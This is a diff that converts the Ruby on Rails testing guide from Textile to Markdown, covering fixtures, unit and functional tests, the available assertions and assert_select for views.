+### The Test Environment
-By default, every Rails application has three environments: development, test, and production. The database for each one of them is configured in +config/database.yml+.
+By default, every Rails application has three environments: development, test, and production. The database for each one of them is configured in `config/database.yml`.
A dedicated test database allows you to set up and interact with test data in isolation. Tests can mangle test data with confidence, that won't touch the data in the development or production databases.
-h4. Rails Sets up for Testing from the Word Go
+### Rails Sets up for Testing from the Word Go
-Rails creates a +test+ folder for you as soon as you create a Rails project using +rails new+ _application_name_. If you list the contents of this folder then you shall see:
+Rails creates a `test` folder for you as soon as you create a Rails project using `rails new` _application_name_. If you list the contents of this folder then you shall see:
-<shell>
+```bash
$ ls -F test
fixtures/ functional/ integration/ performance/ test_helper.rb unit/
-</shell>
+```
-The +unit+ directory is meant to hold tests for your models, the +functional+ directory is meant to hold tests for your controllers, the +integration+ directory is meant to hold tests that involve any number of controllers interacting, and the +performance+ directory is meant for performance tests.
+The `unit` directory is meant to hold tests for your models, the `functional` directory is meant to hold tests for your controllers, the `integration` directory is meant to hold tests that involve any number of controllers interacting, and the `performance` directory is meant for performance tests.
-Fixtures are a way of organizing test data; they reside in the +fixtures+ folder.
+Fixtures are a way of organizing test data; they reside in the `fixtures` folder.
-The +test_helper.rb+ file holds the default configuration for your tests.
+The `test_helper.rb` file holds the default configuration for your tests.
-h4. The Low-Down on Fixtures
+### The Low-Down on Fixtures
For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.
-h5. What Are Fixtures?
+#### What Are Fixtures?
_Fixtures_ is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent written in YAML. There is one file per model.
-You'll find fixtures under your +test/fixtures+ directory. When you run +rails generate model+ to create a new model fixture stubs will be automatically created and placed in this directory.
+You'll find fixtures under your `test/fixtures` directory. When you run `rails generate model` to create a new model fixture stubs will be automatically created and placed in this directory.
-h5. YAML
+#### YAML
-YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the *.yml* file extension (as in +users.yml+).
+YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the **.yml** file extension (as in `users.yml`).
Here's a sample YAML fixture file:
-<yaml>
+```yaml
# lo & behold! I am a YAML comment!
david:
name: David Heinemeier Hansson
@@ -70,35 +73,35 @@ steve:
name: Steve Ross Kellock
birthday: 1974-09-27
profession: guy with keyboard
-</yaml>
+```
Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank space. You can place comments in a fixture file by using the # character in the first column.
-h5. ERB'in It Up
+#### ERB'in It Up
ERB allows you to embed Ruby code within templates. The YAML fixture format is pre-processed with ERB when Rails loads fixtures. This allows you to use Ruby to help you generate some sample data. For example, the following code generates a thousand users:
-<erb>
+```erb
<% 1000.times do |n| %>
user_<%= n %>:
username: <%= "user%03d" % n %>
email: <%= "user%03d@example.com" % n %>
<% end %>
-</erb>
+```
-h5. Fixtures in Action
+#### Fixtures in Action
-Rails by default automatically loads all fixtures from the +test/fixtures+ folder for your unit and functional test. Loading involves three steps:
+Rails by default automatically loads all fixtures from the `test/fixtures` folder for your unit and functional test. Loading involves three steps:
* Remove any existing data from the table corresponding to the fixture
* Load the fixture data into the table
* Dump the fixture data into a variable in case you want to access it directly
-h5. Fixtures are ActiveRecord objects
+#### Fixtures are ActiveRecord objects
Fixtures are instances of ActiveRecord. As mentioned in point #3 above, you can access the object directly because it is automatically setup as a local variable of the test case. For example:
-<ruby>
+```ruby
# this will return the User object for the fixture named david
users(:david)
@@ -107,30 +110,31 @@ users(:david).id
# one can also access methods available on the User class
email(david.girlfriend.email, david.location_tonight)
-</ruby>
+```
-h3. Unit Testing your Models
+Unit Testing your Models
+------------------------
In Rails, unit tests are what you write to test your models.
For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. I will be using examples from this generated code and will be supplementing it with additional examples where necessary.
-NOTE: For more information on Rails <i>scaffolding</i>, refer to "Getting Started with Rails":getting_started.html
+NOTE: For more information on Rails <i>scaffolding</i>, refer to [Getting Started with Rails](getting_started.html)
-When you use +rails generate scaffold+, for a resource among other things it creates a test stub in the +test/unit+ folder:
+When you use `rails generate scaffold`, for a resource among other things it creates a test stub in the `test/unit` folder:
-<shell>
+```bash
$ rails generate scaffold post title:string body:text
...
create app/models/post.rb
create test/unit/post_test.rb
create test/fixtures/posts.yml
...
-</shell>
+```
-The default test stub in +test/unit/post_test.rb+ looks like this:
+The default test stub in `test/unit/post_test.rb` looks like this:
-<ruby>
+```ruby
require 'test_helper'
class PostTest < ActiveSupport::TestCase
@@ -139,47 +143,47 @@ class PostTest < ActiveSupport::TestCase
assert true
end
end
-</ruby>
+```
A line by line examination of this file will help get you oriented to Rails testing code and terminology.
-<ruby>
+```ruby
require 'test_helper'
-</ruby>
+```
-As you know by now, +test_helper.rb+ specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.
+As you know by now, `test_helper.rb` specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.
-<ruby>
+```ruby
class PostTest < ActiveSupport::TestCase
-</ruby>
+```
-The +PostTest+ class defines a _test case_ because it inherits from +ActiveSupport::TestCase+. +PostTest+ thus has all the methods available from +ActiveSupport::TestCase+. You'll see those methods a little later in this guide.
+The `PostTest` class defines a _test case_ because it inherits from `ActiveSupport::TestCase`. `PostTest` thus has all the methods available from `ActiveSupport::TestCase`. You'll see those methods a little later in this guide.
-Any method defined within a +Test::Unit+ test case that begins with +test+ (case sensitive) is simply called a test. So, +test_password+, +test_valid_password+ and +testValidPassword+ all are legal test names and are run automatically when the test case is run.
+Any method defined within a `Test::Unit` test case that begins with `test` (case sensitive) is simply called a test. So, `test_password`, `test_valid_password` and `testValidPassword` all are legal test names and are run automatically when the test case is run.
-Rails adds a +test+ method that takes a test name and a block. It generates a normal +Test::Unit+ test with method names prefixed with +test_+. So,
+Rails adds a `test` method that takes a test name and a block. It generates a normal `Test::Unit` test with method names prefixed with `test_`. So,
-<ruby>
+```ruby
test "the truth" do
assert true
end
-</ruby>
+```
acts as if you had written
-<ruby>
+```ruby
def test_the_truth
assert true
end
-</ruby>
+```
-only the +test+ macro allows a more readable test name. You can still use regular method definitions though.
+only the `test` macro allows a more readable test name. You can still use regular method definitions though.
-NOTE: The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though, the name may contain punctuation characters etc. That's because in Ruby technically any string may be a method name. Odd ones need +define_method+ and +send+ calls, but formally there's no restriction.
+NOTE: The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though, the name may contain punctuation characters etc. That's because in Ruby technically any string may be a method name. Odd ones need `define_method` and `send` calls, but formally there's no restriction.
-<ruby>
+```ruby
assert true
-</ruby>
+```
This line of code is called an _assertion_. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:
@@ -190,36 +194,37 @@ This line of code is called an _assertion_. An assertion is a line of code that
Every test contains one or more assertions. Only when all the assertions are successful will the test pass.
-h4. Preparing your Application for Testing
+### Preparing your Application for Testing
Before you can run your tests, you need to ensure that the test database structure is current. For this you can use the following rake commands:
-<shell>
+```bash
$ rake db:migrate
...
$ rake db:test:load
-</shell>
+```
-The +rake db:migrate+ above runs any pending migrations on the _development_ environment and updates +db/schema.rb+. The +rake db:test:load+ recreates the test database from the current +db/schema.rb+. On subsequent attempts, it is a good idea to first run +db:test:prepare+, as it first checks for pending migrations and warns you appropriately.
+The `rake db:migrate` above runs any pending migrations on the _development_ environment and updates `db/schema.rb`. The `rake db:test:load` recreates the test database from the current `db/schema.rb`. On subsequent attempts, it is a good idea to first run `db:test:prepare`, as it first checks for pending migrations and warns you appropriately.
-NOTE: +db:test:prepare+ will fail with an error if +db/schema.rb+ doesn't exist.
+NOTE: `db:test:prepare` will fail with an error if `db/schema.rb` doesn't exist.
-h5. Rake Tasks for Preparing your Application for Testing
+#### Rake Tasks for Preparing your Application for Testing
-|_.Tasks |_.Description|
-|+rake db:test:clone+ |Recreate the test database from the current environment's database schema|
-|+rake db:test:clone_structure+ |Recreate the test database from the development structure|
-|+rake db:test:load+ |Recreate the test database from the current +schema.rb+|
-|+rake db:test:prepare+ |Check for pending migrations and load the test schema|
-|+rake db:test:purge+ |Empty the test database.|
+| Tasks | Description |
+| ------------------------------ | ------------------------------------------------------------------------- |
+| `rake db:test:clone` | Recreate the test database from the current environment's database schema |
+| `rake db:test:clone_structure` | Recreate the test database from the development structure |
+| `rake db:test:load` | Recreate the test database from the current `schema.rb` |
+| `rake db:test:prepare` | Check for pending migrations and load the test schema |
+| `rake db:test:purge` | Empty the test database. |
-TIP: You can see all these rake tasks and their descriptions by running +rake --tasks --describe+
+TIP: You can see all these rake tasks and their descriptions by running `rake --tasks --describe`
-h4. Running Tests
+### Running Tests
Running a test is as simple as invoking the file containing the test cases through Ruby:
-<shell>
+```bash
$ ruby -Itest test/unit/post_test.rb
Loaded suite unit/post_test
@@ -228,13 +233,13 @@ Started
Finished in 0.023513 seconds.
1 tests, 1 assertions, 0 failures, 0 errors
-</shell>
+```
-This will run all the test methods from the test case. Note that +test_helper.rb+ is in the +test+ directory, hence this directory needs to be added to the load path using the +-I+ switch.
+This will run all the test methods from the test case. Note that `test_helper.rb` is in the `test` directory, hence this directory needs to be added to the load path using the `-I` switch.
-You can also run a particular test method from the test case by using the +-n+ switch with the +test method name+.
+You can also run a particular test method from the test case by using the `-n` switch with the `test method name`.
-<shell>
+```bash
$ ruby -Itest test/unit/post_test.rb -n test_the_truth
Loaded suite unit/post_test
@@ -243,22 +248,22 @@ Started
Finished in 0.023513 seconds.
1 tests, 1 assertions, 0 failures, 0 errors
-</shell>
+```
-The +.+ (dot) above indicates a passing test. When a test fails you see an +F+; when a test throws an error you see an +E+ in its place. The last line of the output is the summary.
+The `.` (dot) above indicates a passing test. When a test fails you see an `F`; when a test throws an error you see an `E` in its place. The last line of the output is the summary.
-To see how a test failure is reported, you can add a failing test to the +post_test.rb+ test case.
+To see how a test failure is reported, you can add a failing test to the `post_test.rb` test case.
-<ruby>
+```ruby
test "should not save post without title" do
post = Post.new
assert !post.save
end
-</ruby>
+```
Let us run this newly added test.
-<shell>
+```bash
$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
Loaded suite -e
Started
@@ -270,37 +275,37 @@ test_should_not_save_post_without_title(PostTest) [/test/unit/post_test.rb:6]:
<false> is not true.
1 tests, 1 assertions, 1 failures, 0 errors
-</shell>
+```
-In the output, +F+ denotes a failure. You can see the corresponding trace shown under +1)+ along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here:
+In the output, `F` denotes a failure. You can see the corresponding trace shown under `1)` along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here:
-<ruby>
+```ruby
test "should not save post without title" do
post = Post.new
assert !post.save, "Saved the post without a title"
end
-</ruby>
+```
Running this test shows the friendlier assertion message:
-<shell>
+```bash
1) Failure:
test_should_not_save_post_without_title(PostTest) [/test/unit/post_test.rb:6]:
Saved the post without a title.
<false> is not true.
-</shell>
+```
Now to get this test to pass we can add a model level validation for the _title_ field.
-<ruby>
+```ruby
class Post < ActiveRecord::Base
validates :title, :presence => true
end
-</ruby>
+```
Now the test should pass. Let us verify by running the test again:
-<shell>
+```bash
$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
Loaded suite unit/post_test
Started
@@ -308,25 +313,25 @@ Started
Finished in 0.193608 seconds.
1 tests, 1 assertions, 0 failures, 0 errors
-</shell>
+```
Now, if you noticed, we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as _Test-Driven Development_ (TDD).
-TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with "15 TDD steps to create a Rails application":http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html.
+TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with [15 TDD steps to create a Rails application](http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html).
To see how an error gets reported, here's a test containing an error:
-<ruby>
+```ruby
test "should report error" do
# some_undefined_variable is not defined elsewhere in the test case
some_undefined_variable
assert true
end
-</ruby>
+```
Now you can see even more output in the console from running the tests:
-<shell>
+```bash
$ ruby unit/post_test.rb -n test_should_report_error
Loaded suite -e
Started
@@ -339,70 +344,73 @@ NameError: undefined local variable or method `some_undefined_variable' for #<Po
/test/unit/post_test.rb:6:in `test_should_report_error'
1 tests, 0 assertions, 0 failures, 1 errors
-</shell>
+```
Notice the 'E' in the output. It denotes a test with error.
NOTE: The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.
-h4. What to Include in Your Unit Tests
+### What to Include in Your Unit Tests
Ideally, you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.
-h4. Assertions Available
+### Assertions Available
By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.
-There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with +test/unit+, the default testing library used by Rails. The +[msg]+ parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.
-
-|_.Assertion |_.Purpose|
-|+assert( boolean, [msg] )+ |Ensures that the object/expression is true.|
-|+assert_equal( expected, actual, [msg] )+ |Ensures that +expected == actual+ is true.|
-|+assert_not_equal( expected, actual, [msg] )+ |Ensures that +expected != actual+ is true.|
-|+assert_same( expected, actual, [msg] )+ |Ensures that +expected.equal?(actual)+ is true.|
-|+assert_not_same( expected, actual, [msg] )+ |Ensures that +!expected.equal?(actual)+ is true.|
-|+assert_nil( obj, [msg] )+ |Ensures that +obj.nil?+ is true.|
-|+assert_not_nil( obj, [msg] )+ |Ensures that +!obj.nil?+ is true.|
-|+assert_match( regexp, string, [msg] )+ |Ensures that a string matches the regular expression.|
-|+assert_no_match( regexp, string, [msg] )+ |Ensures that a string doesn't match the regular expression.|
-|+assert_in_delta( expecting, actual, delta, [msg] )+ |Ensures that the numbers +expecting+ and +actual+ are within +delta+ of each other.|
-|+assert_throws( symbol, [msg] ) { block }+ |Ensures that the given block throws the symbol.|
-|+assert_raise( exception1, exception2, ... ) { block }+ |Ensures that the given block raises one of the given exceptions.|
-|+assert_nothing_raised( exception1, exception2, ... ) { block }+ |Ensures that the given block doesn't raise one of the given exceptions.|
-|+assert_instance_of( class, obj, [msg] )+ |Ensures that +obj+ is of the +class+ type.|
-|+assert_kind_of( class, obj, [msg] )+ |Ensures that +obj+ is or descends from +class+.|
-|+assert_respond_to( obj, symbol, [msg] )+ |Ensures that +obj+ has a method called +symbol+.|
-|+assert_operator( obj1, operator, obj2, [msg] )+ |Ensures that +obj1.operator(obj2)+ is true.|
-|+assert_send( array, [msg] )+ |Ensures that executing the method listed in +array[1]+ on the object in +array[0]+ with the parameters of +array[2 and up]+ is true. This one is weird eh?|
-|+flunk( [msg] )+ |Ensures failure. This is useful to explicitly mark a test that isn't finished yet.|
+There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with `test/unit`, the default testing library used by Rails. The `[msg]` parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.
+
+| Assertion | Purpose |
+| ---------------------------------------------------------------- | ------- |
+| `assert( boolean, [msg] )` | Ensures that the object/expression is true.|
+| `assert_equal( expected, actual, [msg] )` | Ensures that `expected == actual` is true.|
+| `assert_not_equal( expected, actual, [msg] )` | Ensures that `expected != actual` is true.|
+| `assert_same( expected, actual, [msg] )` | Ensures that `expected.equal?(actual)` is true.|
+| `assert_not_same( expected, actual, [msg] )` | Ensures that `!expected.equal?(actual)` is true.|
+| `assert_nil( obj, [msg] )` | Ensures that `obj.nil?` is true.|
+| `assert_not_nil( obj, [msg] )` | Ensures that `!obj.nil?` is true.|
+| `assert_match( regexp, string, [msg] )` | Ensures that a string matches the regular expression.|
+| `assert_no_match( regexp, string, [msg] )` | Ensures that a string doesn't match the regular expression.|
+| `assert_in_delta( expecting, actual, delta, [msg] )` | Ensures that the numbers `expecting` and `actual` are within `delta` of each other.|
+| `assert_throws( symbol, [msg] ) { block }` | Ensures that the given block throws the symbol.|
+| `assert_raise( exception1, exception2, ... ) { block }` | Ensures that the given block raises one of the given exceptions.|
+| `assert_nothing_raised( exception1, exception2, ... ) { block }` | Ensures that the given block doesn't raise one of the given exceptions.|
+| `assert_instance_of( class, obj, [msg] )` | Ensures that `obj` is of the `class` type.|
+| `assert_kind_of( class, obj, [msg] )` | Ensures that `obj` is or descends from `class`.|
+| `assert_respond_to( obj, symbol, [msg] )` | Ensures that `obj` has a method called `symbol`.|
+| `assert_operator( obj1, operator, obj2, [msg] )` | Ensures that `obj1.operator(obj2)` is true.|
+| `assert_send( array, [msg] )` | Ensures that executing the method listed in `array[1]` on the object in `array[0]` with the parameters of `array[2 and up]` is true. This one is weird eh?|
+| `flunk( [msg] )` | Ensures failure. This is useful to explicitly mark a test that isn't finished yet.|
Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.
NOTE: Creating your own assertions is an advanced topic that we won't cover in this tutorial.
-h4. Rails Specific Assertions
+### Rails Specific Assertions
-Rails adds some custom assertions of its own to the +test/unit+ framework:
+Rails adds some custom assertions of its own to the `test/unit` framework:
-NOTE: +assert_valid(record)+ has been deprecated. Please use +assert(record.valid?)+ instead.
+NOTE: `assert_valid(record)` has been deprecated. Please use `assert(record.valid?)` instead.
-|_.Assertion |_.Purpose|
-|+assert_valid(record)+ |Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.|
-|+assert_difference(expressions, difference = 1, message = nil) {...}+ |Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.|
-|+assert_no_difference(expressions, message = nil, &amp;block)+ |Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.|
-|+assert_recognizes(expected_options, path, extras={}, message=nil)+ |Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.|
-|+assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)+ |Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.|
-|+assert_response(type, message = nil)+ |Asserts that the response comes with a specific status code. You can specify +:success+ to indicate 200-299, +:redirect+ to indicate 300-399, +:missing+ to indicate 404, or +:error+ to match the 500-599 range|
-|+assert_redirected_to(options = {}, message=nil)+ |Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that +assert_redirected_to(:controller => "weblog")+ will also match the redirection of +redirect_to(:controller => "weblog", :action => "show")+ and so on.|
-|+assert_template(expected = nil, message=nil)+ |Asserts that the request was rendered with the appropriate template file.|
+| Assertion | Purpose |
+| --------------------------------------------------------------------------------- | ------- |
+| `assert_valid(record)` | Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.|
+| `assert_difference(expressions, difference = 1, message = nil) {...}` | Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.|
+| `assert_no_difference(expressions, message = nil, &amp;block)` | Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.|
+| `assert_recognizes(expected_options, path, extras={}, message=nil)` | Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.|
+| `assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)` | Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.|
+| `assert_response(type, message = nil)` | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range|
+| `assert_redirected_to(options = {}, message=nil)` | Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that `assert_redirected_to(:controller => "weblog")` will also match the redirection of `redirect_to(:controller => "weblog", :action => "show")` and so on.|
+| `assert_template(expected = nil, message=nil)` | Asserts that the request was rendered with the appropriate template file.|
You'll see the usage of some of these assertions in the next chapter.
-h3. Functional Tests for Your Controllers
+Functional Tests for Your Controllers
+-------------------------------------
In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.
-h4. What to Include in your Functional Tests
+### What to Include in your Functional Tests
You should test for things such as:
@@ -412,44 +420,44 @@ You should test for things such as:
* was the correct object stored in the response template?
* was the appropriate message displayed to the user in the view?
-Now that we have used Rails scaffold generator for our +Post+ resource, it has already created the controller code and functional tests. You can take look at the file +posts_controller_test.rb+ in the +test/functional+ directory.
+Now that we have used Rails scaffold generator for our `Post` resource, it has already created the controller code and functional tests. You can take look at the file `posts_controller_test.rb` in the `test/functional` directory.
-Let me take you through one such test, +test_should_get_index+ from the file +posts_controller_test.rb+.
+Let me take you through one such test, `test_should_get_index` from the file `posts_controller_test.rb`.
-<ruby>
+```ruby
test "should get index" do
get :index
assert_response :success
assert_not_nil assigns(:posts)
end
-</ruby>
+```
-In the +test_should_get_index+ test, Rails simulates a request on the action called +index+, making sure the request was successful and also ensuring that it assigns a valid +posts+ instance variable.
+In the `test_should_get_index` test, Rails simulates a request on the action called `index`, making sure the request was successful and also ensuring that it assigns a valid `posts` instance variable.
-The +get+ method kicks off the web request and populates the results into the response. It accepts 4 arguments:
+The `get` method kicks off the web request and populates the results into the response. It accepts 4 arguments:
* The action of the controller you are requesting. This can be in the form of a string or a symbol.
* An optional hash of request parameters to pass into the action (eg. query string parameters or post variables).
* An optional hash of session variables to pass along with the request.
* An optional hash of flash values.
-Example: Calling the +:show+ action, passing an +id+ of 12 as the +params+ and setting a +user_id+ of 5 in the session:
+Example: Calling the `:show` action, passing an `id` of 12 as the `params` and setting a `user_id` of 5 in the session:
-<ruby>
+```ruby
get(:show, {'id' => "12"}, {'user_id' => 5})
-</ruby>
+```
-Another example: Calling the +:view+ action, passing an +id+ of 12 as the +params+, this time with no session, but with a flash message.
+Another example: Calling the `:view` action, passing an `id` of 12 as the `params`, this time with no session, but with a flash message.
-<ruby>
+```ruby
get(:view, {'id' => '12'}, nil, {'message' => 'booya!'})
-</ruby>
+```
-NOTE: If you try running +test_should_create_post+ test from +posts_controller_test.rb+ it will fail on account of the newly added model level validation and rightly so.
+NOTE: If you try running `test_should_create_post` test from `posts_controller_test.rb` it will fail on account of the newly added model level validation and rightly so.
-Let us modify +test_should_create_post+ test in +posts_controller_test.rb+ so that all our test pass:
+Let us modify `test_should_create_post` test in `posts_controller_test.rb` so that all our test pass:
-<ruby>
+```ruby
test "should create post" do
assert_difference('Post.count') do
post :create, :post => { :title => 'Some title'}
@@ -457,74 +465,74 @@ test "should create post" do
assert_redirected_to post_path(assigns(:post))
end
-</ruby>
+```
Now you can try running all the tests and they should pass.
-h4. Available Request Types for Functional Tests
+### Available Request Types for Functional Tests
-If you're familiar with the HTTP protocol, you'll know that +get+ is a type of request. There are 6 request types supported in Rails functional tests:
+If you're familiar with the HTTP protocol, you'll know that `get` is a type of request. There are 6 request types supported in Rails functional tests:
-* +get+
-* +post+
-* +patch+
-* +put+
-* +head+
-* +delete+
+* `get`
+* `post`
+* `patch`
+* `put`
+* `head`
+* `delete`
All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others.
NOTE: Functional tests do not verify whether the specified request type should be accepted by the action. Request types in this context exist to make your tests more descriptive.
-h4. The Four Hashes of the Apocalypse
+### The Four Hashes of the Apocalypse
-After a request has been made by using one of the 5 methods (+get+, +post+, etc.) and processed, you will have 4 Hash objects ready for use:
+After a request has been made by using one of the 5 methods (`get`, `post`, etc.) and processed, you will have 4 Hash objects ready for use:
-* +assigns+ - Any objects that are stored as instance variables in actions for use in views.
-* +cookies+ - Any cookies that are set.
-* +flash+ - Any objects living in the flash.
-* +session+ - Any object living in session variables.
+* `assigns` - Any objects that are stored as instance variables in actions for use in views.
+* `cookies` - Any cookies that are set.
+* `flash` - Any objects living in the flash.
+* `session` - Any object living in session variables.
-As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for +assigns+. For example:
+As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for `assigns`. For example:
-<ruby>
+```ruby
flash["gordon"] flash[:gordon]
session["shmession"] session[:shmession]
cookies["are_good_for_u"] cookies[:are_good_for_u]
# Because you can't use assigns[:something] for historical reasons:
assigns["something"] assigns(:something)
-</ruby>
+```
-h4. Instance Variables Available
+### Instance Variables Available
You also have access to three instance variables in your functional tests:
-* +@controller+ - The controller processing the request
-* +@request+ - The request
-* +@response+ - The response
+* `@controller` - The controller processing the request
+* `@request` - The request
+* `@response` - The response
-h4. Testing Templates and Layouts
+### Testing Templates and Layouts
-If you want to make sure that the response rendered the correct template and layout, you can use the +assert_template+
+If you want to make sure that the response rendered the correct template and layout, you can use the `assert_template`
method:
-<ruby>
+```ruby
test "index should render correct template and layout" do
get :index
assert_template :index
assert_template :layout => "layouts/application"
end
-</ruby>
+```
-Note that you cannot test for template and layout at the same time, with one call to +assert_template+ method.
-Also, for the +layout+ test, you can give a regular expression instead of a string, but using the string, makes
+Note that you cannot test for template and layout at the same time, with one call to `assert_template` method.
+Also, for the `layout` test, you can give a regular expression instead of a string, but using the string, makes
things clearer. On the other hand, you have to include the "layouts" directory name even if you save your layout
file in this standard layout directory. Hence,
-<ruby>
+```ruby
assert_template :layout => "application"
-</ruby>
+```
will not work.
@@ -533,20 +541,20 @@ Otherwise, assertion will fail.
Hence:
-<ruby>
+```ruby
test "new should render correct layout" do
get :new
assert_template :layout => "layouts/application", :partial => "_form"
end
-</ruby>
+```
-is the correct way to assert for the layout when the view renders a partial with name +_form+. Omitting the +:partial+ key in your +assert_template+ call will complain.
+is the correct way to assert for the layout when the view renders a partial with name `_form`. Omitting the `:partial` key in your `assert_template` call will complain.
-h4. A Fuller Functional Test Example
+### A Fuller Functional Test Example
-Here's another example that uses +flash+, +assert_redirected_to+, and +assert_difference+:
+Here's another example that uses `flash`, `assert_redirected_to`, and `assert_difference`:
-<ruby>
+```ruby
test "should create post" do
assert_difference('Post.count') do
post :create, :post => { :title => 'Hi', :body => 'This is my first post.'}
@@ -554,37 +562,37 @@ test "should create post" do
assert_redirected_to post_path(assigns(:post))
assert_equal 'Post was successfully created.', flash[:notice]
end
-</ruby>
+```
-h4. Testing Views
+### Testing Views
-Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The +assert_select+ assertion allows you to do this by using a simple yet powerful syntax.
+Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The `assert_select` assertion allows you to do this by using a simple yet powerful syntax.
-NOTE: You may find references to +assert_tag+ in other documentation, but this is now deprecated in favor of +assert_select+.
+NOTE: You may find references to `assert_tag` in other documentation, but this is now deprecated in favor of `assert_select`.
-There are two forms of +assert_select+:
+There are two forms of `assert_select`:
-+assert_select(selector, [equality], [message])+ ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an +HTML::Selector+ object.
+`assert_select(selector, [equality], [message])` ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an `HTML::Selector` object.
-+assert_select(element, selector, [equality], [message])+ ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of +HTML::Node+) and its descendants.
+`assert_select(element, selector, [equality], [message])` ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of `HTML::Node`) and its descendants.
For example, you could verify the contents on the title element in your response with:
-<ruby>
+```ruby
assert_select 'title', "Welcome to Rails Testing Guide"
-</ruby>
+```
-You can also use nested +assert_select+ blocks. In this case the inner +assert_select+ runs the assertion on the complete collection of elements selected by the outer +assert_select+ block:
+You can also use nested `assert_select` blocks. In this case the inner `assert_select` runs the assertion on the complete collection of elements selected by the outer `assert_select` block:
-<ruby>
+```ruby
assert_select 'ul.navigation' do
assert_select 'li.menu_item'
end
-</ruby>
+```
-Alternatively the collection of elements selected by the outer +assert_select+ may be iterated through so that +assert_select+ may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass.
+Alternatively the collection of elements selected by the outer `assert_select` may be iterated through so that `assert_select` may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass.
-<ruby>
+```ruby
assert_select "ol" do |elements|
elements.each do |element|
assert_select element, "li", 4
@@ -594,42 +602,44 @@ end
assert_select "ol" do
assert_select "li", 8
end
-</ruby>
+```
-The +assert_select+ assertion is quite powerful. For more advanced usage, refer to its "documentation":http://api.rubyonrails.org/classes/ActionDispatch/Assertions/SelectorAssertions.html.
+The `assert_select` assertion is quite powerful. For more advanced usage, refer to its [documentation](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/SelectorAssertions.html).
-h5. Additional View-Based Assertions
+#### Additional View-Based Assertions
There are more assertions that are primarily used in testing views:
-|_.Assertion |_.Purpose|
-|+assert_select_email+ |Allows you to make assertions on the body of an e-mail. |
-|+assert_select_encoded+ |Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.|
